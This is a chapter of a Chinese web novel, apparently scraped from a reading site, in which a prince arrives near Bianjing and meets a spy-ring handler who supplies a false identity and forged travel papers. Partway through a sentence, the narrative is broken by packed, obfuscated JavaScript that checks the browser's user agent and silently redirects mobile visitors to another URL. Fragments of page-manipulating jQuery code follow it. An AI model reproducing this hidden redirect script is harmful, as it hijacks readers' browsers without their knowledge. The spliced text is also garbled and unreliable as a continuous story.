默认冷灰
24号文字
方正启体

11. 茶肆接头

作者:药材铺老板本书字数:K更新时间:
    汴京城高耸的城楼就在前方,卢轸没有急着进去。四下观望一番,零零星星地有着几处歇脚的地方,卢轸牵着乌雅走向了远离干路的一家茶肆。


    茶肆内房屋简易,从外面看一览无余,位置也不是很好,只有一块挂在红杆子上的浅绿色望子在招揽客人。门口的桩子上栓了五六匹骆驼,里面拢共只三张四方桌子,并几个长条板凳。


    其余的桌子都被坐满了,茶客们勾着头不知在说些什么。卢轸走向唯一空着的桌子,吆喝着伙计上茶。


    茶肆外间两面迎风,只一根柱子和剩余两面墙壁撑起屋檐。帘子隔开了外间和灶台,伙计掀起帘子走出,给卢轸送茶。


    伙计用肩上搭着的纱巾擦了擦桌子,殷勤地摆好茶碗,热情地和卢轸搭话:“客官是打哪来的呀?”


    卢轸抿了一口茶,回答着伙计的问题,“从西楼来,茶博士可曾听过?”


    “听过听过,咱们东家原也在西楼那边住过。”伙计听到了熟悉的地名,忍不住多说了一句。


    “那巧了不是。”卢轸微笑着回应伙计。


    卢轸放下茶碗,指着茶肆的一面墙壁,“这位茶博士,敢问你家茶肆墙壁上题的诗,为何只有上句没有下句啊?”


    伙计顺着卢轸指着的方向看了看,“客官有所不知,这诗是东家所题,可惜没能想出匹配的下半句,故而就放在这里了。”


    卢轸一手撑着桌子,一手托着脑袋,开玩笑似地说:“我若是能想出下半句,可否把我的茶水钱免了呀?”


    伙计告罪:“这小人可做不了主,不如客官您先题上,咱们东家今天正好在里间,说不定就把您的茶钱给免了呢。”


    卢轸把茶碗里的茶饮尽,对着伙计说:“我来试上一试,取笔来。”


    伙计很快取来了毛笔,卢轸接过蘸了蘸墨,没有过多的思考,挥毫就接上了墙上的半句诗。


    伙计捧着墨盒,一字一字地念出了墙上的诗句:“春来草色一万里,芍药牡丹相间红。”声音不大,也就能刚刚好传到里间。


    话音刚落,茶肆里间传出来一道和煦的声音:“鹿乡,把客人领进来吧。”


    “好嘞!”伙计掀起隔断的帘子,引着卢轸进去,“客官您请。”


    卢轸把笔放到桌子上,对着伙计道谢,“多谢多谢,看来茶钱能免掉了。”


    这小茶肆的里面别有洞天,从外面透过帘子只能不真切地看到烧水的灶台,没想到竟还有个单独的小房间。


    里间坐着的是个年轻男子,二十多岁的年纪,穿了件深绿色的绸布长衫,一副笑眼盈盈的模样,瞧着是个很体面的管家。桌案上还放着本摊开的书,他似是坐了很久了。


    看见卢轸进来,男子主动站起身打了招呼,“在下张文,是这茶肆的老板,客官如何称呼?”


    卢轸张嘴欲说什么,却又忍了下来,抱拳还礼,“叫我卢二就好。”


    刚才为卢轸引路的伙计鹿乡,侧身进来通禀,只是这次身上已经没了小二的市井味道,“东家,外面的茶望子已经取下,不会再有人来了。”


    望子和酒旗之类的布帆一般都挂在外面的杆子上,写着自家店铺的名字作招呼迎来过往的食客之用。望子取下,则说明店家的茶水饭食售空。


    张文对着鹿乡吩咐着:“叫大家在外面仔细着点。”


    鹿乡领命出去,外间的说话声变得更大了些,不知道是不是刚才旁边两桌喝茶的茶客聊到了什么高兴的事。


    卢轸装不下去了,上前一步,对着张文亲切地说:“临扆哥,原来是你!姐姐没跟我明说是谁,我猜了一路。好久不见了!”


    张文笑着说道:“自延寿八年算起,到如今已有六年,大王与之前相比,愈发干练了。”


    卢轸讪讪一笑:“临扆哥莫要取笑我了,我这大王才当了四年,如何长进。”


    张文引着卢轸在桌旁坐下,“之前西楼传信时,有提到过大王,只字片语便足以窥见了,大王不用妄自菲薄。”


    西楼是音译之后的朔木语,朔木人常用来指代上京临潢府。


    张文,亦可称为临扆。是记在卢轸姨姥姥度明名下的孙子。度明是朔木国的大惕隐,掌管着朔木国的皇族教化,负责敦睦宗室以及纠正违失,相当于易朝大宗正司里的知大宗正事,是乞奚族内德高望重的大家长。


    临扆很是关心带自己长大的度明,“大惕隐可还好?冬天腿脚还会疼吗?”度明年轻时随军出征,腿上中过冷箭,每每天气阴凉下雨时,旧伤都会复发。


    卢轸回答道:“今年的木叶仪上刚见过,大惕隐安好,大君早早便吩咐人将今年的红罗碳和虎骨药酒送到了惕隐府。只是惕隐现在年岁渐长,已经不参与朝政了。”


    “这就好。”临扆放心地点了点头。


    “怎么没见到菁纭姐?她没跟着临扆哥一起来吗?”卢轸问的是临扆的妻子。


    “菁纭没有来,南朝不比朔木,女子虽可经商,但行为举止多有不易,大王一路走来,想必也看到了些。”临扆略带苦涩地解释着。


    卢轸回忆起赶路途中的所见所闻,无奈地点头,“是,路上虽没有进过城,但途中遇到的商队,十之有九都是男子,听说易朝女子经商要比男子缴纳更多的税款,还有“拦取钱”、“事例钱”各种各样的名目,真真是可笑之极。”


    临扆提醒着说:“南朝律例如此,我们也没有办法。大王此行南下,扮成走南闯北的商户,还是以男儿相露面为好,省的生出一些不必要的事端。”


    卢轸点头,给自己和临扆都倒了杯茶,问出了现在最关心的问题,“临扆哥是怎么安排的?我们如何进城?”


    临扆笑着说:“此事容易,大王的户籍文引已经安排妥当,还请大王先换上一身衣裳,咱们拉货进城。”


    朔木比易朝建国要早个一二十年。时年中原动乱之局将被易朝太祖终结,奇首大君选准时机,派遣子弟前往中原潜伏。此时中原百废待兴,数以


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488260|202115||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    万计的百姓来到汴京城讨生活,官府来不及一一查点。朔木宗室子弟化名张姓管事,使了大把银子,打着帮远在福州的东家发展生意的名号,从官府手中换到了一张“曲引”。


    所谓“曲引”即为官府发行的酿酒证明,拿到曲引,才可以购买官府的酒曲,自行酿造酒水,是为“榷酤制度”。全汴京城的曲引满打满算也只有七十二张。买到酒曲的酒楼,每每新酒上市,人头攒动,酒楼珠帘绣额,灯烛光耀,被称为“正店”,其酒水不仅可以自产自销,还可以批发售卖给没有酿酒权的众多“脚店”。


    朔木宗室子弟,也就是数代张姓管事经营的酒楼名为“遇仙正店”,就开在汴京城内热闹的州桥旁边,与朔木使团下榻的都亭驿隔街相望。每任酒楼管事明面上监管着正店的生意,实际上则是统筹记录正店与其名下依附着的脚店每日来往食客说出的各类消息,并将消息传回朔木。


    若管事有了孩子,年幼的孩童会经由榷场或者边境上的其他地方,被护送回朔木,由大惕隐亲自教导,待到成婚后,夫妻二人一同返回汴京,充当起新一任的正店管事。每任管事的人选是绝密之事,只有朔木大君和大惕隐知晓。


    临扆从有记忆开始,就是在朔木临潢府长大的。返回汴京后,化名张文,是一个普通到不能再普通的名字,接管了酒楼正店,对外只说是少时在老家帮忙照看老人,如今上京来帮着父亲处理生意,而父亲自然回“老家”颐养天年了。


    临扆退出里间,卢轸一边换着衣服一边听临扆说着自己的新身份。之前在析津府卢轸只是简单地和重辇商量了自己的新背景,具体的细节都要由临扆安排。


    “大王户籍和公凭路引上记的名字依旧是本名,年十七,河间府人士,平日以转运货物为生,与遇仙正店的管事张文私交很好。此行从河间府来,到汴京给遇仙正店送一些枸杞、党参之类能入膳食的药材,共计七类十箱,俱在外面的驼架上。此行途中的过路税已全部缴清,路引上加盖了官方印鉴,由张文交接药材。在汴京城内的落脚点是“久住赵员外家”,就在下了州桥靠近保康门的地方。客栈由刚才的那位‘鹿乡’管着,是个可靠的地方,以后鹿乡就归到大王手下,汴京城里传递消息的门道大王都可以鹿乡。”


    临扆刚刚说完,卢轸就换好衣裳走了出来,是一身和外面茶客差不多的料子做成的袍子。多年在外风餐露宿的生活,让卢轸打理起来自己得心应手。


    卢轸端详着路引,不禁发问:“临扆哥,这印鉴是真的吗?”


    临扆摆了摆手,“自然是假的。是对着真路引上的印章自己刻出来的,过个城门的盘查是足够了,再者我们还有孔方兄。”


    说完,两人都是不约而同地笑出声来,看来银子在哪里都好用。


    卢轸对着临扆行了一个叉手礼,一本正经地说道“小弟卢轸,万事但凭张文老板做主了。”


    临扆笑着还礼:“等药材送到汴京正店,必让卢兄赚个盆满钵满。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)